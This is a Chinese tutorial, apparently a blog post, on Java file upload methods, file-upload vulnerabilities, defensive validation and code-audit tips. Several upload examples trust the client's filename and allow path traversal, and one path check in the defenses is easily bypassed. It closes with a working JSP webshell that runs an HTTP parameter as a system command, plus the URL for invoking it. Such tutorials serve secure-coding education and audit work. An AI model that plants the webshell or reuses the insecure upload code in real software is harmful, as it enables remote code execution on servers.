未经许可,不得转载。
文章目录

文件上传类型
在 HTML 表单中,enctype(编码类型)属性用于指定提交数据的编码方式,不同的 enctype 适用于不同的数据类型和场景。
1、application/x-www-form-urlencoded(默认编码方式)
适用于大多数表单提交场景,仅处理表单中的 value 属性值。
数据会被编码成 URL 形式(即 key1=value1&key2=value2),适用于文本数据的提交。
2、multipart/form-data(适用于文件上传)
该方式以二进制流的形式处理表单数据,能够封装文件域中选定的文件内容。
通常与 method="post" 结合使用,后端可通过 InputStream 读取传输的二进制数据,从而实现文件上传。
3、text/plain(适用于简单文本提交)
该方式不会对数据进行额外编码,仅会将空格转换为 + 号。
主要用于 mailto:URL 形式的表单提交,便于通过表单直接发送邮件。
选择合适的 enctype 可以确保表单数据正确提交,特别是在涉及文件上传时,应使用 multipart/form-data 方式。
文件上传方式
文件上传主要有以下四种方式:文件流上传、MultipartFile方式上传、ServletFileUpload上传和Servlet Part上传。
文件流上传
文件流上传是最基础的方式,直接通过 InputStream 读取上传文件的数据,并使用 OutputStream 将其写入服务器指定目录。
示例代码:
@RequestMapping("/upload")
public String fileUpload(@RequestParam("file") MultipartFile file, HttpServletRequest request) throws IOException {
// 获取文件上传路径
String path = request.getServletContext().getRealPath("upload");
String filename = file.getOriginalFilename();
if (file.isEmpty()) {
return "请上传文件";
}
try {
// 创建文件输出流
OutputStream fos = new FileOutputStream(path + "/" + filename);
InputStream fis = file.getInputStream();
int len;
while ((len = fis.read()) != -1) {
fos.write(len);
}
// 关闭流
fos.flush();
fos.close();
fis.close();
return "Success!";
} catch (FileNotFoundException e) {
e.printStackTrace();
}
return "文件上传失败";
}
MultipartFile方式上传
Spring 提供了 MultipartFile 接口用于文件上传,该方式相对简单,提供了一些常用方法:
- String getOriginalFilename():获取上传文件的原始名称
- InputStream getInputStream():获取文件输入流
- void transferTo(File dest):将文件保存到指定目录
- String getContentType():获取文件的 MIME 类型
示例代码:
@RequestMapping("/file")
public String MultiFileUpload(@RequestParam("file") MultipartFile file, HttpServletRequest request) {
if (file.isEmpty()) {
return "请上传文件";
}
// 获取上传目录
String filePath = request.getServletContext().getRealPath("upload");
String fileName = file.getOriginalFilename();
File dest = new File(filePath + File.separator + fileName);
// 确保上传目录存在
if (!dest.getParentFile().exists()) {
dest.getParentFile().mkdirs();
}
try {
// 直接保存文件
file.transferTo(dest);
return "Success!";
} catch (IOException e) {
e.printStackTrace();
}
return "文件上传失败";
}
ServletFileUpload上传
ServletFileUpload 依赖于 Apache Commons FileUpload 组件,因此在使用前,需要在 pom.xml 中添加以下依赖项:
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.2.2</version>
</dependency>
此外,若在 Spring Boot 环境下使用 ServletFileUpload,需要关闭 Spring 默认的 multipart 处理器,否则会发生冲突:
spring:
servlet:
multipart:
enabled: false
示例代码如下:
@RequestMapping("/upload3")
protected void ServletFileUpload(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 设置文件上传路径
String filePath = request.getServletContext().getRealPath("upload");
File uploadFile = new File(filePath);
// 若目录不存在,则创建
if (!uploadFile.exists() && !uploadFile.isDirectory()) {
uploadFile.mkdir();
}
try {
// 创建文件上传处理工厂
DiskFileItemFactory factory = new DiskFileItemFactory();
// 创建文件上传解析器
ServletFileUpload fileupload = new ServletFileUpload(factory);
// 设置最大文件大小(3MB)
fileupload.setFileSizeMax(3145728);
// 确保请求的内容为 multipart/form-data,否则退出
if (!fileupload.isMultipartContent(request)) {
return;
}
// 解析请求中的文件数据
List<FileItem> items = fileupload.parseRequest(request);
for (FileItem item : items) {
if (item.isFormField()) {
// 处理普通表单字段
String name = item.getFieldName();
String value = item.getString("UTF-8");
System.out.println(name + " : " + value);
} else {
// 处理文件字段
String fileName = item.getName();
if (fileName == null || fileName.trim().isEmpty()) {
continue;
}
// 兼容不同浏览器的文件名格式,仅保留文件名部分
fileName = fileName.substring(fileName.lastIndexOf(File.separator) + 1);
// 读取文件输入流并保存
InputStream is = item.getInputStream();
FileOutputStream fos = new FileOutputStream(filePath + File.separator + fileName);
byte buffer[] = new byte[1024];
int length;
while ((length = is.read(buffer)) > 0) {
fos.write(buffer, 0, length);
}
// 关闭流
is.close();
fos.close();
item.delete();
}
}
response.getWriter().write("Success!");
} catch (FileUploadException e) {
e.printStackTrace();
}
}
Servlet Part上传
Servlet 3.0 及以上版本提供了 request.getParts() 方法,可直接获取上传文件的数据,简化了文件上传的处理流程。
常用 API 方法
- String getName():获取 Part 名称(表单字段的 name 值)。
- String getContentType():如果 Part 是文件,返回文件的 MIME 类型;否则返回 null。
- void write(String path):将上传的文件保存到服务器指定路径。
- InputStream getInputStream():获取文件的输入流,支持手动处理文件内容。
- Collection
<String>getHeaderNames():获取 Part 的所有头部信息。
示例代码
@RequestMapping("/upload4")
public void ServletPartUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// 获取上传目录
String filePath = request.getServletContext().getRealPath("upload");
File uploadFile = new File(filePath);
// 若目录不存在,则创建
if (!uploadFile.exists() && !uploadFile.isDirectory()) {
uploadFile.mkdir();
}
// 通过表单 name 属性获取上传的文件
Part part = request.getPart("file");
if (part == null) {
return;
}
// 获取文件名并保存
String filename = filePath + File.separator + part.getSubmittedFileName();
part.write(filename);
part.delete();
}
文件上传漏洞
文件上传漏洞是指攻击者通过上传恶意文件(如可执行脚本、病毒、木马等)到服务器,从而执行恶意操作或获取服务器控制权的安全漏洞,一般发生在应用程序未对上传的文件进行严格的验证和限制时。
漏洞成因
未验证文件类型和扩展名
漏洞代码示例:
@WebServlet("/upload") // 指定Servlet的URL映射
public class FileUploadServlet extends HttpServlet {
// 处理POST请求,实现文件上传
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// 检查请求是否为多部分(即文件上传请求)
if (ServletFileUpload.isMultipartContent(request)) {
// 创建磁盘文件项工厂,用于处理文件上传
DiskFileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
try {
// 解析请求,获取文件项列表
List<FileItem> items = upload.parseRequest(request);
for (FileItem item : items) {
// 检查是否为文件字段,而不是普通表单字段
if (!item.isFormField()) {
// 获取上传文件的文件名
String fileName = new File(item.getName()).getName();
// 定义服务器上的文件存储路径(此处为/uploads/目录)
String filePath = "/uploads/" + fileName;
// 将上传的文件写入到服务器指定路径
item.write(new File(filePath));
// 向客户端返回上传成功的信息
response.getWriter().println("File uploaded: " + fileName);
}
}
} catch (Exception e) {
e.printStackTrace(); // 打印异常信息,方便调试
}
}
}
}
未验证文件类型和扩展名,可以上传任意文件。
未限制文件上传路径
String filePath = "/uploads/" + fileName;
item.write(new File(filePath));
文件上传路径未做限制,可以通过构造特殊文件名(如 ../../malicious.jsp)将文件上传到任意目录。
防范
验证文件类型和扩展名
- 使用白名单机制,只允许上传指定的文件类型(如
.jpg、.png、.pdf等)。 - 不要依赖客户端验证(如 HTML 的
accept属性),必须在服务器端进行验证。
// 允许的文件扩展名
String[] allowedExtensions = {"gif", "jpg", "jpeg", "png"};
String fileExtension = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();
boolean isValidExtension = false;
for (String ext : allowedExtensions) {
if (ext.equalsIgnoreCase(fileExtension)) { // 这里进行后缀匹配
isValidExtension = true;
break;
}
}
if (!isValidExtension) {
response.getWriter().println("Invalid file type.");
return;
}
但仅检查扩展名是不够的,攻击者可以伪造扩展名(如 shell.jsp.jpg),所以可以结合MIME 类型和**文件头(Magic Number)**进行多层验证。
// 获取文件 MIME 类型
String contentType = file.getContentType();
String[] allowedMimeTypes = {"image/gif", "image/jpeg", "image/png"};
boolean isValidMimeType = false;
for (String mimeType : allowedMimeTypes) {
if (contentType.equalsIgnoreCase(mimeType)) {
isValidMimeType = true;
break;
}
}
if (!isValidMimeType) {
response.getWriter().println("Invalid MIME type.");
return;
}
验证文件头:
import java.io.InputStream;
public boolean checkMagicNumber(InputStream inputStream) throws IOException {
byte[] magic = new byte[4];
inputStream.read(magic);
String hex = bytesToHex(magic);
// 常见图片格式的 Magic Number
String[] validMagicNumbers = {
"89504E47", // PNG
"FFD8FFE0", // JPG
"FFD8FFE1", // JPG
"47494638" // GIF
};
for (String validMagic : validMagicNumbers) {
if (hex.startsWith(validMagic)) {
return true;
}
}
return false;
}
// 将字节数据转换为可读的十六进制表示
private String bytesToHex(byte[] bytes) {
StringBuilder hexString = new StringBuilder();
for (byte b : bytes) {
String hex = Integer.toHexString(0xFF & b).toUpperCase();
if (hex.length() == 1) {
hexString.append("0");
}
hexString.append(hex);
}
return hexString.toString();
}
验证文件内容
可以使用工具(如 Apache Tika)验证文件内容是否与扩展名匹配。
import org.apache.tika.Tika;
Tika tika = new Tika();
String detectedType = tika.detect(new File(filePath));
if (!detectedType.startsWith("image/")) {
response.getWriter().println("Invalid file content.");
new File(filePath).delete(); // 删除非法文件
return;
}
限制文件上传路径
将文件上传路径限制在特定目录,避免攻击者通过路径遍历上传文件到任意目录。
String uploadDir = "/uploads/";
String filePath = uploadDir + randomFileName;
// 确保路径在允许的目录内
if (!filePath.startsWith(uploadDir)) {
response.getWriter().println("Invalid file path.");
return;
}
content-type白名单
Content-Type 用于标识文件的 MIME 类型,但其安全性较低,某些情况下攻击者可以伪造 Content-Type。
String contentType = file.getContentType();
String[] whiteMimeTypes = {"image/gif", "image/jpeg", "image/jpg", "image/png"};
boolean isAllowedMimeType = false;
for (String mimeType : whiteMimeTypes) {
if (contentType.equalsIgnoreCase(mimeType)) {
isAllowedMimeType = true;
break;
}
}
if (!isAllowedMimeType) {
return "content-type not allowed";
}
重命名文件
避免用户上传的文件覆盖服务器已有文件,建议对文件进行重命名,可以使用 UUID、MD5、时间戳等方式进行命名。
// 使用 UUID
String uuid = UUID.randomUUID().toString();
String fileExtension = fileName.substring(fileName.lastIndexOf(".")); // 获取后缀
fileName = uuid + fileExtension;
标准代码
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.tika.Tika;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.util.List;
import java.util.UUID;
@WebServlet("/upload")
public class FileUploadServlet extends HttpServlet {
private static final long MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
private static final String UPLOAD_DIRECTORY = "/uploads"; // 上传目录
private static final String[] ALLOWED_EXTENSIONS = { "jpg", "jpeg", "png", "pdf" }; // 允许的文件扩展名
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// 检查是否为文件上传请求
if (!ServletFileUpload.isMultipartContent(request)) {
response.getWriter().println("Request does not contain upload data.");
return;
}
// 配置上传参数
DiskFileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setSizeMax(MAX_FILE_SIZE); // 设置最大文件大小
try {
// 解析请求
List<FileItem> items = upload.parseRequest(request);
for (FileItem item : items) {
if (!item.isFormField()) {
// 判断当前的 FileItem 是否是一个普通的表单字段,如果不是,则执行后续的文件上传处理逻辑。
// 获取文件名
String fileName = new File(item.getName()).getName();
String fileExtension = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();
// 验证文件扩展名
if (!isAllowedExtension(fileExtension)) {
response.getWriter().println("Invalid file type. Allowed types: " + String.join(", ", ALLOWED_EXTENSIONS));
return;
}
// 生成随机文件名
String randomFileName = UUID.randomUUID().toString() + "." + fileExtension;
String uploadPath = getServletContext().getRealPath("") + File.separator + UPLOAD_DIRECTORY;
File uploadDir = new File(uploadPath);
// 创建上传目录(如果不存在)
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
// 保存文件
String filePath = uploadPath + File.separator + randomFileName;
File storeFile = new File(filePath);
item.write(storeFile);
// 验证文件内容
if (!isValidFileContent(storeFile, fileExtension)) {
response.getWriter().println("Invalid file content.");
storeFile.delete(); // 删除非法文件
return;
}
response.getWriter().println("File uploaded successfully: " + randomFileName);
}
}
} catch (Exception e) {
response.getWriter().println("Error occurred: " + e.getMessage());
}
}
/**
* 检查文件扩展名是否合法
*/
private boolean isAllowedExtension(String fileExtension) {
for (String ext : ALLOWED_EXTENSIONS) {
if (ext.equalsIgnoreCase(fileExtension)) {
return true;
}
}
return false;
}
/**
* 验证文件内容是否合法
*/
private boolean isValidFileContent(File file, String expectedExtension) throws IOException {
Tika tika = new Tika();
String detectedType = tika.detect(file);
// 根据文件扩展名验证内容类型
switch (expectedExtension.toLowerCase()) {
case "jpg":
case "jpeg":
return detectedType.equals("image/jpeg");
case "png":
return detectedType.equals("image/png");
case "pdf":
return detectedType.equals("application/pdf");
default:
return false;
}
}
}
审计思路
在代码审计过程中,可以通过全局搜索以下关键字,快速定位可能涉及文件上传的功能点:
DiskFileItemFactory
@MultipartConfig
MultipartFile
File
upload
InputStream
OutputStream
write
fileName
filePath
如果某功能点允许上传任意文件,需要进一步确认项目是否能够解析 JSP 文件。
因为如果 JSP 解析被禁用,即使成功上传 JSP 文件,攻击也无法生效。
对于 Spring Boot 项目,可以通过 pom.xml 文件检查是否引入了 JSP 解析相关的依赖:
<!-- JSP 编译支持 -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<scope>provided</scope>
</dependency>
如果项目包含该依赖,说明其支持 JSP 解析,那么可以通过上传 JSP WebShell 实现远程代码执行:
<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a;
byte[] b = new byte[1024];
out.print("<pre>");
while ((a = in.read(b)) != -1) {
out.println(new String(b, 0, a));
}
%>
执行方式:
http://target.com/uploads/shell.jsp?cmd=whoami
1181

被折叠的 条评论
为什么被折叠?



